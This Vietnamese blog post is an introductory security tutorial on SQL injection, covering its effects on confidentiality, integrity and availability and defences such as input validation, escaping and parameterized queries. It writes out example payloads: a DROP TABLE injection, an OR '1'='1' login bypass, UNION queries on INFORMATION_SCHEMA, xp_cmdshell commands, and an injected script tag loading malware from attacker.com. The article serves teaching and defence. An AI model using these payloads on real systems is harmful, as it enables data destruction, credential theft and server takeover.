[Security 101] SQL Injection

Anh Hoang
SotaTek
Published in
21 min readMar 15, 2019

Đã đến lúc quay lại để đóng góp kiến thức cho cộng đồng nói chung và anh em SotaTek nói riêng rồi (chỉ là câu dẫn dắt vui vẻ thôi, xin đừng gạch đá. Mình chưa có nhu cầu xây nhà *LOL*). Vẫn tiếp tục Series Security 101, nhưng chúng ta sẽ làm mới nó bằng cách tiếp cận đến bên Backend. Và khởi đầu bằng một hình thức tấn công - một lần nữa, nó quá nổi tiếng luôn - SQL Injection. Mình vẫn nhớ ngày đầu học lập trình với Project kết thúc khóa học PHP, việc đầu tiên các thầy làm khi kiểm tra tính năng đăng nhập đó là kiểm thử lỗi bảo mật SQL Injection này (may mắn thế nào mình không bị, và mình không chả hiểu tại sao thầy giáo lại bắng mình nhập một chuỗi ký tự kỳ cục và ô Password như thế). Không lòng vòng nữa, bắt đầu thôi nào!

ĐI TỪ CĂN BẢN

Chúng ta sẽ tìm hiểu từ gốc gác của vấn đề: SQL. Đây là một cụm từ viết tắt của Structured Query Language - tạm dịch là "Ngôn ngữ truy vấn cấu trúc", được khai sinh vào những năm 1970, và được coi là tiêu chuẩn cho các cấu trúc lưu trữ dữ liệu dạng quan hệ. Tất cả các sản phẩm cơ sở dữ liệu (CSDL) quan hệ nổi tiếng ngày nay (như Oracle, SQL Server, MySql…) đều hỗ trợ SQL, và kể cả các lập trình viên ở cấp độ tập sự (Junior) cũng đều được yêu cầu là phải có nền tảng cơ bản về khái niệm cũng như truy vấn về SQL. Tuy nhiên, rất nhiều ngôn ngữ lập trình hay nền tảng hỗ trợ lập trình viên một phương thức quá dễ dàng để viết truy vấn SQL dẫn tới việc hình thành các lỗ hổng để kẻ tấn công dễ dàng khai thác và truy cập vào hệ thống CSDL.

Nghe có vẻ hơi kỳ lạ, nhưng viết truy vấn SQL nó giống như việc bạn chơi trò chơi: "Đặt câu với những từ cho sẵn vậy". Bạn hỏi người dùng những “từ” cần thiết để bạn có thể tạo nên một “câu” truy vấn SQL mà người dùng không hề có hiểu biết gì về nó cả. Ví dụ là bạn muốn chạy một truy vấn để lấy ra họ và tên của tất cả các nhân viên Sale trong công ty của bạn, với tiêu chí là các nhân viên Sale đó làm việc tại một quốc gia xác định. Mã lệnh trương trình để truy vấn nội dung kể trên có thể sẽ có dạng:

database.executeQuery("SELECT * FROM sales WHERE state = '"+selectedState+"'")

Khi mà người dùng chọn cho mình một quốc gia trên giao diện, và trong trường hợp này ví dụ là Vietnam, thì chúng ta sẽ có một câu truy vấn hoàn chỉnh là:

SELECT * FROM sales WHERE state = 'Vietnam'

Chắc chắn rồi, truy vấn hoàn toàn hợp lệ nếu chúng ta “chơi” theo đúng luật. Nhưng sự thực thì đâu phải ai cũng vậy. Sẽ có trường hợp, người chơi tìm ra một ý tưởng để gian lận. Trong câu truy vấn trên, thay vì nhập vào tên quốc gia hợp lệ như “Vietnam” hay “US”, kẻ gian lận sẽ nhập vào giá trị dạng "; DROP TABLE sales; --". Ứng dụng Website của bạn sẽ xây dựng câu truy vấn dựa trên dữ liệu nhập vào, và Engine của CSDL sẽ thực thi truy vấn đó. Trong trường hợp này, ta sẽ có một tập lệnh như sau:

SELECT * FROM sales WHERE state = ''; DROP TABLE sales; --

Phải nói đây đúng là một tay lừa đảo chuyên nghiệp! Những gì hắn làm ở đây là đã tác động, thêm thắt các câu lệnh SQL mà hắn muốn vào trong câu truy vấn mà người lập trình dự tính thực hiện. Hình thức tấn công này được gọi là SQL Injection. Như trong trường hợp trên, thay vì hiển thị ra tập các kết quả nhân viên Sale theo mong muốn, kết quả chúng ta nhận được lại ngược lại hoàn toàn: "Bảng sales bị xóa, toàn bộ thông tin nhân viên Sale sẽ đi vào dĩ vãng". Chúng ta đều hiểu, Engine của CSDL không thể nào phân biệt được truy vấn này đến từ người dùng trân chính hay kẻ tấn công. Vì vậy, đây chính là cơ sở của quá trình tấn công này.

TÁC ĐỘNG CỦA SQL INJECTION VÀ CONFIDENTIALITY-INTEGRITY-AVAILABILITY

Nếu chúng ta nhìn nhận hình thức tấn công này dưới góc độ của Confidentiality-Integrity-Availability (CIA Triad) - một tiêu chuẩn thiết kế để định hướng chính sách bảo mật thông tin trong một tổ chức, với 3 yếu tố được nêu trong chính tên gọi của nó, được coi là 3 thành phần quan trọng nhất của bảo mật - ngay từ cái nhìn đầu tiên nó đã xuất hiện vấn đề về tính khả dụng (Availability). Nếu kẻ tấn công có thể xóa bỏ các bảng với dữ liệu nhạy cảm như bảng danh sách các nhân viên Sale kể trên, thì trong những lần khởi động hệ thống lần sau sẽ khiến toàn bộ ứng dụng bị lỗi cho tới khi bạn nhận ra được vấn đề xảy ra là gì và khôi phục CSDL từ những lần sao lưu định kỳ trước đó (và hi vọng rằng dữ liệu sao lưu đã không trở nên quá cũ). Và tất nhiên, nếu chúng ta không tìm ra được gốc gác của vấn đề, điều đó có nghĩa kẻ tấn công có thể quay lại và xóa dữ liệu của bạn hết lần này tới lần khác.

Điều tồi tệ kể trên chưa giải quyết xong, những điều tồi tệ hơn lại tiếp tục xảy đến. Tấn công SQL Injection toàn diện không chỉ dẫn tới hậu quả lớn như xóa đi dữ liệu, mà còn gây nên các hiệu ứng ngoài tính khả dụng. Sẽ là thế nào nếu thay vì xóa đi dữ liệu, kẻ tấn công quyết định chỉnh sửa dữ liệu có sẵn trong CSDL, hoặc thêm một dữ liệu mới thuận theo mục đích của hắn?

Đây là các cuộc tấn công nhắm vào tính toàn vẹn của dữ liệu ứng dụng (Integrity). Và tấn công tính toàn vẹn, trông thì có vẻ không tệ như làm lỗi toàn bộ hệ thống khiến toàn bộ mọi người không thể sử dụng đấy. Nhưng trên thực tế, dưới một số phương diện khác, nó còn khiến mọi thứ trở nên tệ hơn rất là nhiều. Thay đổi dữ liệu giống như việc ta cắt dây phanh của một chiếc xe vậy. Họ có thể không nhận ra vấn đề vào những khoảnh khắc đầu tiên, nhưng cho tới khi sử dụng (lái xe) đó, sẽ là rất khó để có thể khôi phục về dữ liệu ban đầu (tính toàn vẹn tính mạng khi lái chiếc xe đó). Dữ liệu này đã bị thay đổi bao lâu rồi? Chúng ta sẽ phải khôi phục lại dữ liệu vào thời điểm nào? Dữ liệu ban đầu, trước khi bị chỉnh sửa là gì? Thật là những câu hỏi quá khó để trả lời.

Có một xu thế tấn công rất “hot” trong việc khai thác lỗ hổng ứng dụng là kết hợp tấn công SQL Injection với tấn công Cross-Site Scripting như là một kiểu “tấn công hỗn hợp” (Cross-Site Scripting hay CSRF Attack đã được giới thiệu ở bài viết này). Khi kẻ tấn công tìm ra lỗ hổng để tấn công SQL Injection, hắn sẽ tận dụng để thêm thuộc tính <script> HTML vào trong dữ liệu CSDL. Các đoạn mã trong thẻ <script> sẽ nằm dưới sự kiểm soát của kẻ tấn công và chứa các đoạn mã độc JavaScript như Keylogger chẳng hạn.

SELECT * FROM sales WHERE state = '';UPDATE TABLE sales SET last_name = '<script src="http://attacker.com/malware.js/>"'; --

Trong trường hợp này, kẻ tấn công hiểu được rằng ứng dụng sẽ lấy dữ liệu trong CSDL ra và hiển thị cho người dùng xem. Như vậy, khi người dùng xem dữ liệu trên trang đó, ứng dụng sẽ lấy cả thẻ <script> trong bản ghi và thêm vào đoạn mã HTML của trang. Và từ đó, trình duyệt sẽ âm thầm tải các đoạn mã độc vào trong trang Web, thực thi nó, và kết quả như thế nào, chắc bạn đã hiểu.

Nếu bạn nghĩ đây là một hình thức tấn công khó có thể xảy ra, thì bạn có thể sẽ bất ngờ khi biết được rằng vào năm 2008, có tới 1 triệu trang Web bị lây nhiễm bởi chính xác hình thức tấn công đó. Các quản trị viên bắt đầu nhận ra rằng các trang Web xây dựng bằng ASP (Microsoft Active Server Pages) có những hành vi bất thường, và cuối cùng nhận ra có một vài lỗ hổng đã bị khai thác. Các nhà nghiên cứu bảo mật nhận ra có một số các lỗ hổng chưa được biết trước kia (hay còn được gọi là zero-day hoặc 0-day) và đã đổ lỗi cho tính năng IIS của Microsoft (Internet Information Services) như một cách để bao biện cho lỗ hổng tấn công này. Tuy nhiên, những nghiên cứu sau này chỉ ra tất cả các Website đó đã bị tấn công SQL Injection. Lý do chỉ có các trang ASP bị ảnh hưởng là bởi kẻ tấn công không theo đuổi mục tiêu một cách thủ công; mà chúng sẽ lập trình ra một con Bot để tìm trên Google những trang Web ASP có lỗ hổng. Khi những con Bot tìm được những trang Web dễ bị tổn thương, nó sẽ tự động thêm vào một thẻ <script> trỏ thẳng tới trang chứa mã độc.

Như vậy, chúng ta đã giải quyết các vấn đề xoay quanh tính khả dụng và tính toàn vẹn trên phương thức tấn công SQL Injection. Tuy nhiên, điều nguy hiểm nhất của tấn công SQL Injection nằm ở việc tấn công vào tính bảo mật (Confidentiality): "sử dụng SQL Injection để đánh cắp bản ghi". Một lần nữa, bạn có thể nghĩ rằng nó không quá tệ như việc gây lỗi hệ thống liên tục. Nhưng trong trường hợp đó, có thể là nó sẽ khó để chỉnh sửa lại những hư hại, nhưng ít nhất là chúng ta "có thể" làm điều đó. Còn với trường hợp dữ liệu bị đánh cắp, chúng ta không thể làm được gì hơn.

Một thực tế khá là mỉa mai, khi trang chủ của MySql là www.mysql.com, đã từng bị tấn công SQL Injection. Kẻ tấn công đã chiếm quyền quản lý hệ thống để xuất ra thông tin người dùng và mật khẩu, kể cả là với các tài khoản quản trị. Họ sau đó đã tải các thông tin này lên mạng một cách công khai cho cả thế giới cùng xem. Đó là một khoảng thời gian tồi tệ với MySql, và sẽ còn tệ hơn nếu kẻ tấn công giữ chúng cho riêng mình và bắt đầu giả mạo người dùng làm những việc bất chính.

Đôi khi SQL Injection sẽ gây ra cả 3 hiệu ứng Confidentiality-Integrity-Availability. Ví dụ điển hình nhất của hình thức tấn công này là tổ chức các cuộc tấn công vào quá trình đăng nhập của người dùng. Ứng dụng sẽ hỏi người dùng nhập Username và Password. Sau đó sẽ đưa tất cả các nội dung nhập vào đó vào trong câu truy vấn tới bảng Users:

SELECT * FROM users WHERE username='anhhv' AND password='thisis@password'

Ứng dụng sẽ truy vấn câu lệnh và kiểm tra xem có dữ liệu nào trả về từ phía CSDL hay không. Nếu có ít nhất 1 dòng dữ liệu trả về, tức đó chắc chắn là người dùng trong hệ thống với thông tin đăng nhập đó, hệ thống sẽ xem như điều đó là hợp lệ và cho phép truy cập. Và tất nhiên, nếu không có dữ liệu nào trả về thì thông tin đăng nhập sai và ta sẽ chặn cũng như yêu cầu người dùng nhập lại thông tin đăng nhập. Nhưng SQL Injection cho phép kẻ tấn công hoàn toàn vượt qua được quá trình kiểm duyệt này. Ví dụ như, nếu hắn nhập vào giá trị foo làm Username, và bar’ or ‘1’ = ‘1 cho Password, thì ta có:

SELECT * FROM User WHERE username='foo' AND password='bar' or '1' = '1'

Có thể sẽ chẳng có người dùng nào là foo/bar, nhưng trong trường hợp này nó sẽ không phải là vấn đề ta phải quan tâm. Điều kiện OR ‘1’ = ‘1’ luôn đúng và kẻ tấn công sẽ lấy được toàn bộ dữ liệu trả về nhờ câu truy vấn đó. Và đồng thời, với việc chỉ kiểm tra có ít nhất một giá trị trả về, kẻ tấn công sẽ được cấp quyền truy cập vào hệ thống. Điều này có thể tác động tới cả tính bảo mật — hắn có thể nhìn thấy các dữ liệu mà hắn đang lý ra không được phép truy cập - tính toàn vẹn — kẻ tấn công có thể thay đổi hoặc thêm các dữ liệu theo ý hắn muốn.

Tuy nhiên, điều tồi tệ nhất mà SQL Injection “đem lại” cho bạn đó là khi kẻ tấn công chiếm được quyền truy cập vào Command-line Shell của CSDL máy chủ. Trong thuật ngữ bảo mật nó được gọi là “sở hữu” (owning / rooting) máy chủ. Nếu thành công, kẻ tấn công sẽ có thể làm mọi thứ hắn muốn: từ việc chỉnh sửa dữ liệu, và không dừng lại ở đó, tất cả các tệp tin hệ thống cũng theo hắn mà đi. Hắn cũng có thể tạo ra một “back door” thâm nhập và chỉnh sửa tệp Log của hệ thống để khiến mọi hành vi của hắn trở nên có nghĩa. Và từ đó, mọi tiêu chí về Confidentiality-Integrity-Availability đã bị vi phạm ở một cấp độ cao nhất.

Trong trường hợp bạn nghĩ nghĩ rằng cuộc tấn công này chỉ mang tính giả định thì để tôi đưa ra một minh chứng cho bạn. Phương thức nổi tiếng trong việc chiếm quyền truy cập Shell bằng SQL Injection là khiến Microsoft SQL Server lưu một thủ tục có tên xp_cmdshell. Các làm việc của xp_cmdshell vô cùng đơn giản: nó chứa một chuỗi đơn giản và thực thi nó như một lệnh. Ví dụ như:

xp_cmdshell 'dir c:\'

Đây là một câu lệnh hiển thị danh sách thư mục có trong ổ C trên máy chủ. Và một lần nữa, tác hại của việc này chỉ bị giới hạn bởi trí tưởng tượng của kẻ tấn công mà thôi. Thay vì câu lệnh dir, sẽ là thế nào nếu như nó là một câu lệnh ghi đè lệnh, xóa file, tạo file mã độc…?

Nếu bạn đang sử dụng SQL Server các phiên bản cũ (thực tế cho tới các phiên bản gần đây, nó vẫn còn được tích hợp bên dưới Engine của SQL Server), tôi khuyên bạn nên xóa bỏ hoặc tắt đi tính năng xp_cmdshell này. Mặc định trong các phiên bản mới, tính năng này mặc định đã bị tắt. Nhưng sẽ là thế nào nếu kẻ tấn công tìm ra một phương thức, tận dụng SQL Injection để mở tính năng này ra? Vì vậy, việc xóa bỏ xp_cmdshell sẽ là một quyết định phù hợp hơn. Nhưng tiếp tục, kẻ tấn công cũng có thể tạo lại thủ tục này bằng các công cụ Hack tự động như sqlninja để thay hắn làm việc này. Tuy vậy, việc xóa bỏ nó vẫn là một quyết định sáng suốt vì ít nhất sẽ là không dễ dàng để kẻ tấn công biết được cách hoặc logic bên trong thủ tục xp_cmdshell để có thể khởi tạo lại.

TÍNH NGUY HIỂM CỦA VIỆC HIỂN THỊ CHI TIẾT LỖI (THE DANGERS OF DETAILED ERRORS)

Một câu hỏi chưa được trả lời từ đầu bài viết đó là: "Làm cách nào mà kẻ tấn công tìm ra tên bảng, tên cột của bảng trong CSDL để có thể khởi tạo các đoạn mã để tấn công?" Như chúng ta đã thấy, một số mối nguy hại từ lỗ hổng SQL Injection như vượt qua quá trình xác thực, hay lợi dụng thủ tục xp_cmdshell thì kẻ tấn công sẽ không nhất thiết phải quan tâm tới việc hiểu biết về cấu trúc bảng. Nhưng bây giờ, hãy thử nghĩ theo hướng kẻ tấn công không có hứng thú với những hình thức tấn công đó, vì vậy chúng ta sẽ thử xem xét các phương thức mà kẻ tấn công có thể sử dụng để tìm ra các thông tin liên quan tới CSDL như tên bảng hoặc tên cột của bảng.

Điều mà kẻ tấn công mong muốn ngay ở những thời điểm đầu tiên trước khi tấn công Website đó là trang đó được thiết lập để hiển thị thông báo lỗi chi tiết. Rất có thể bạn đã từng một lần vào một trang Web mà có hiển thị lỗi liên quan tới hệ thống, hoặc nhiều khi là cả một đoạn mã hệ thống chạy bị lỗi trên đó. Người dùng bình thường có thể không tận dụng được gì từ những thông tin dạng này, và trong phần lớn trường hợp, sẽ khiến người dùng cảm thấy bối rối và lo lắng về việc: có thể họ đã làm sai một điều gì đó trên Website. Đây là một cách để hỗ trợ người lập trình viên có thể tìm và sửa lỗi trong quá trình phát triển ứng dụng. Tuy nhiên, những thông tin dạng này mang trong mình một giá trị to lớn với cả người lập trình và kẻ tấn công trang Web.

Đầu tiên, kẻ tấn công sẽ tìm cách để làm hiển thị ra các thông tin lỗi này bằng cách nhập nội dung vào các khung nhập dữ liệu là các ký tự đặc biệt của SQL như các dấu nháy đơn, ví dụ như ta có một câu truy vấn như sau:

SELECT * FROM sales where state = '''

Câu lệnh trên là một câu lệnh lỗi vì thừa ra một dấu nháy đơn, và vì vậy nên hệ thống không thể thực thi câu truy vấn này và trả về một thông báo lỗi.

Như vậy, kẻ tấn công đã có cho mình thông báo lỗi rất chi tiết, và có thể hắn sẽ biết được câu lệnh gốc ở đây là gì. Tại thời điểm này, mọi thứ với hắn sẽ trở nên đơn giản hơn rất nhiều trong việc gắn các đoạn mã mà hắn muốn vào câu truy vấn đó. Một thông tin khác có thể cho bạn thấy công việc này sẽ dễ dàng như thế nào, đó là: với mỗi chuẩn ANSI SQL (Amẻican National Standards Institute — Viện tiêu chuẩn quốc gia Hoa Kỳ), tất cả các CSDL nên hỗ trợ một INFORMATION_SCHEMA chứa các thông tin liên quan tới CSDL. Câu lệnh sau sẽ lấy ra toàn bộ danh sách bảng trong CSDL:

SELECT Table_Name FROM INFORMATION_SCHEMA.Tables

Với kẻ tấn công, công việc thật đơn giản là khởi chạy câu truy vấn này và trả lại toàn bộ kết quả cho hắn. Tuy nhiên, hắn không thể khởi chạy câu lệnh này một cách trực tiếp, mà phải gán nó vào trong các câu lệnh chính thống. Hắn có thể sử dụng câu lệnh UNION của SQL để làm việc này bởi câu lệnh đó cho phép truy vấn nhiều câu lệnh lấy dữ liệu và trả về trong 1 kết quả duy nhất, và đây là một ví dụ:

SELECT full_name FROM sales WHERE = '' UNION SELECT Table_Name FROM INFORMATION_SCHEMA.Tables

Bởi vậy, điều đầu tiên để bảo vệ bạn bởi SQL Injection là phải đảm bảo rằng ứng dụng của bạn không trả về nội dung lỗi cho người dùng xem. Hiện tại, các Framework hoặc một số ngôn ngữ lập trình hiện đại cho phép chúng ta cấu hình việc hiển thị lỗi này một cách rất linh động.

Bên cạnh vấn đề thông tin lỗi kể trên, chúng ta nên hiển thị các lỗi đã được định nghĩa lại thay cho nội dung lỗi chi tiết kể trên. Cần phải lưu ý rằng việc hiển thị lỗi tùy biến này không giúp bạn chống lại SQL Injection, nhưng nó là một bước cần thiết cho việc chống lại các lỗ hổng khác bên cạnh SQL Injection.

GIẢI QUYẾT VẤN ĐỀ: KIỂM DUYỆT NỘI DUNG (VALIDATING INPUT)

Vấn đề cốt lõi của lỗ hổng SQL Injection đo là kẻ tấn công có thể chỉ định dữ liệu (trong trường hợp này là dữ liệu nhập từ Form, tham số truy vấn URL, tham số Webservice, và những dữ liệu tương tự). Để ngăn chặn lỗ hổng, bạn cần đảm bảo rằng Engine không làm việc với dữ liệu người dùng nhập vào như một đoạn mã. Có 2 cách để thực hiện điều đó. Một là kiểm soát nội dung người dùng nhập vào để đảm bảo không chứa các ký tự đặc biệt liên quan tới SQL; và cách 2 là bạn có thể mã hóa nội dung người dùng nhập để đảm bảo dữ liệu luôn được hiểu là một “dữ liệu”.

Với cách đầu tiên, chúng ta chỉ cần đơn giản là kiểm tra từng ký tự trong nội dung người dùng nhập vào không chứa các cú pháp liên quan tới SQL như các từ: SELECT, FROM, UNION… hoặc dấu nháy đơn.

Tuy nhiên, sẽ có hai vấn đề xảy ra khi ta thực hiện phương pháp này. Đầu tiên là nó có thể chặn các nội dung đáng lý ra là hợp lệ. Ví thử như với người dùng có một cái tên đặc biệt như Conan O’Brien, thì sẽ bị chặn bởi hệ thống.

Và vấn đề thứ 2 đó là phương pháp này không có bất kỳ ảnh hưởng nào đến các kỹ thuật tấn công không dựa vào việc sử dụng dấu nháy đơn (single quotes). Khi bạn viết truy vấn SQL, ký tự hoặc các trường liên quan tới thời gian cần được đặt trong các dấu nháy đơn, nhưng các trường số thì không cần như vậy. Tấn công SQL Injection với các trường số không cần thiết phải sử dụng tới kỹ thuật dấu nháy đơn, vì vậy việc ta kiểm tra dấu nháy đơn khi truyền vào không có tác dụng trong trường hợp này.

Thêm vào đó, phụ thuộc vào việc bạn kiểm tra dữ liệu đầu vào , kẻ tấn công có thể tìm được cách để vượt qua các hình thức xác thực của bạn bằng cách mã hóa ký tự đầu vào của hắn. Ví dụ, hắn có thể áp dụng mã hóa URL vào các chuỗi tấn công, nên ký tự nháy đơn sẽ chuyển thành %27. Nếu bạn kiểm tra điều kiện trước khi ứng dụng giải mã các nội dung thì một cách chắc chắn bạn sẽ bỏ lỡ trường hợp này.

Hay kể cả khi bạn ngăn chặn các phép toán luôn đúng như ‘1’ = ‘1’ trong đoạn mã của bạn, thì kẻ tấn công có thể viết ra hàng tá các công thức toán học khác có kết quả tương tự như 2 = 2, hay 1 < 2, hay 2 > 1…. không có giới hạn nào cả.

Nếu các cột thuộc kiểu số hoặc ngày giờ, bạn có thể cải thiện bảo mật bằng cách chuyển tất cả các giá trị nhập vào thành cùng một kiểu dữ liệu trong CSDL, hơn là luôn làm việc với tất cả dữ liệu đó như một chuỗi ký tự.

BIỂU THỨC CHÍNH QUY (REGULAR EXPRESSIONS)

Thông thường, kiểm duyệt nội dung sẽ dựa trên một tập danh sách hoặc các khuôn mẫu mà bạn định nghĩa dựa trên độ hiểu biết của bạn về các khả năng gây ra lỗ hổng, và độ hiệu quả của chúng thường rất ít để có thể chống lại các cuộc tấn công và không có khả năng chống lại các biến số tấn công mới, không có trong danh sách được lập sẵn, và chúng ta đã thấy được điều đó trong nội dung phần trước.

Có một phương thức mạnh mẽ và linh hoạt hơn đó là kiểm tra nội dung nhập bằng biểu thức chính quy - Regular Expressions (RE).

Regular Expression hay Regexes về bản chất cũng là một ngôn ngữ lập trình, sử dụng để xây dựng các khuôn mẫu phức tạp của chuỗi.

Regexes vô cùng mạnh mẽ, nhưng chúng cũng khá phức tạp để hiểu. Kể cả với các nhà phát triển có kinh nghiệm làm việc với regex đôi khi cũng gặp khó để viết đúng các khuôn mẫu. Bởi vì vậy, có rất nhiều các trang thư viện Regex được tạo ra, nơi mà ta có thể tìm hoặc tải lên các Pattern mà ta cần. Ví dụ như ta cần kiểm duyệt tên người dùng một cách hợp lệ, ta chỉ cần lên trên các trang Web kể trên, ví thử như www.regexlib.com, nhập keyword (lưu ý là bằng Tiếng Anh nhé) cần tìm, như "person’s name", kết quả trả về là:

^[a-zA-Z]+(([\'\,\.\- ][a-zA-Z ])?[a-zA-Z]*)*$

Bên cạnh SQL Injection, mẫu biểu thức chính quy có thể bị ảnh hưởng bởi một hình thức tấn công có tên Regular Expression Denial-of-Service, hay tấn công ReDos — Tấn công từ chối dịch vụ biểu thức chính quy. Kẻ tấn công có thể nhập một chuỗi ký tự đặc biệt với giá trị có thể khiến Regex Engine bị kẹt trong một vòng lặp kiểm tra lên tới hàng tỷ lần, ảnh hưởng tới năng lực tính toán của máy chủ và có thể dẫn tới treo tiến trình đó. Vì vậy, sẽ là cẩn thận cần thiết nếu ta kiểm tra xem biểu thức của chúng ta có dễ bị tấn công ReDos hay không. Tất nhiên là sẽ rất khó để kiểm tra chúng bằng tay, nên có rất nhiều công cụ tự động để thực hiện công việc này. Google nhé *smile*

ESCAPING INPUT

Liên quan tới vấn đề về dấu nháy đơn và SQL Injection, tại thời điểm đó bạn có thể thắc mắc rằng: vậy làm cách nào để có thể lưu dấu nháy đơn vào trong CSDL? Hoàn toàn có thể, bằng cách đặt thêm một dấu nháy đơn nữa phía trước. Ví dụ, nếu ta muốn tìm kiếm khách hàng có tên Conan O’Brien, câu lệnh truy vấn của ta sẽ là:

SELECT * FROM customers WHERE customer_name='Conan O''Brien'

Như vậy, khi người dùng nhập một nội dung, ta cần một đoạn mã để chuyển tất cả các ký tự nháy đơn thành 2 dấu nháy đơn. Như vậy, nếu kẻ xấu muốn thực hiện một cuộc tấn công SQL Injection bằng một điều kiện ' OR '1' = '1, thì ta sẽ có một câu truy vấn:

SELECT * FROM customers WHERE customer_name=''' OR ''1'' = ''1'

Và câu truy vấn sẽ tìm các khách hàng có tên là 'OR '1' = '1, và chắc chắn sẽ không trả về giá trị nào, kẻ tấn công sẽ bị ngăn chặn thành công.

Hãy nhớ về bài viết Cross-site Scripting (XSS), ta đã nói về việc phòng chống hình thức tấn công này là bằng cách mã hóa dữ liệu trả về trước khi gửi tới trình duyệt người dùng. Như vậy, những nội dung dạng <script>alert(‘xss’)</script> sẽ được chuyển thành các ký tự vô hại, và trình duyệt sẽ không đối xử chúng như các đoạn mã hợp lệ và chạy nó. Và nguyên tắc cũng tương tự cũng được áp dụng tại đây. Chúng ta đã khiến Engine của CSDL cư xử với chúng như một chuỗi ký tự, không phải mã SQL.

Cách thưc tốt nhất để phòng tránh hoàn toàn ad-hoc SQL (sự kết hợp các cú pháp SQL với nội dung nhập từ phía người dùng thành một chuỗi lớn mà có thể vượt qua được Engine của CSDL) là sử dụng các câu lệnh được tối ưu hóa bằng các phương pháp truyền thông số (Parameterized Query). Parameterized Query sử dụng các ký tự placeholder, thường là ký tự “hỏi chấm - question mark”, thể đánh dấu thông số truy vấn, nơi mà nội dung nhập vào sẽ được thế chỗ vào đó. Ví dụ, nếu chúng ta thực hiện câu lệnh tìm kiếm khách hàng, câu lệnh sẽ là:

SELECT * FROM customers WHERE customer_name = ?

Chúng ta sẽ truyền vào tên khách hàng cần tìm như một nội dung nhập nằm ngoài câu lệnh truy vấn CSDL, ví dụ như:

string customerName;database.queryText = "SELECT * FROM customers WHERE customer_name = ?";database.addParameter(customerName);database.executeQuery();

Cần lưu ý rằng chúng ta sẽ không phải kiểm tra các ký tự ngoại lệ nào, ứng dụng sẽ và Engine của CSDL sẽ làm điều đó giúp chúng ta. Và cũng cần lưu ý rằng chúng ta không hề cần phải đặt một dấu nháy đơn nào xung quanh ký tự “hỏi chấm” như trước. CSDL biết rằng cột customer_name đang ở kiểu dữ liệu gì, nên nó sẽ tự ép kiểu dữ liệu đó lên dữ liệu nhập vào.

Một điều rất quan trọng cần lưu tâm đó là sử dụng Parameterized Query không giống như việc sử dụng phương pháp thay thế nội dung hay định dạng lại câu truy vấn bởi 2 phương pháp này vẫn bị ảnh hưởng bởi tấn công SQL Injection do: "định dạng dưới dạng chuỗi, và việc thế chỗ ký tự bằng các hàm có sẵn sẽ không giúp nhận biết được kiểu dữ liệu của cột và nhận biết các câu lệnh SQL hợp lệ".

Tuy nhiên, Parameterized Query sẽ không thể sử dụng được trong việc thay thế định danh bảng hoặc liệt kê danh sách cột, đây là một điểm mà chúng ta cần lưu ý để khi ứng dụng của chúng ta yêu cầu việc xử lý các tác vụ tương tự (linh động việc truy vấn tên bảng hoặc tên cột). Tuy nhiên, như đã được lưu ý từ trước, chúng ta nên tránh sử dụng các thao tác thay thế ký tự nhập và cư xử với chúng như một chuỗi vì sẽ dễ dẫn đến khả năng bị tấn công SQL. Thay vào đó, ta có thể xử lý dưới dạng logic ứng dụng (như câu lệnh if - else) để có thể đảm bảo được tính bảo mật tốt nhất.

KẾT LUẬN

Bảo mật dưới "backend" thực sự phức tạp hơn rất nhiều. Từ đầu bài viết, bạn có thể nhận ra một điều rằng: "Chúng ta phòng bị tương đối bị động do có phần phụ thuộc vào dữ liệu từ phía người dùng nhập vào". Vì vậy, bảo mật ở "backend" đòi hỏi một cái nhìn bài toán tổng thể hơn, và yêu cầu người lập trình có kinh nghiệm và sự tỉ mỉ trong tư duy phát triển ứng dụng. Bài viết tiếp theo chúng ta sẽ tiếp tục tìm hiểu về CSDL về các vấn đề liên quan tới quyền quản trị, các bạn nhớ đón đọc nhé *smile*.

--

--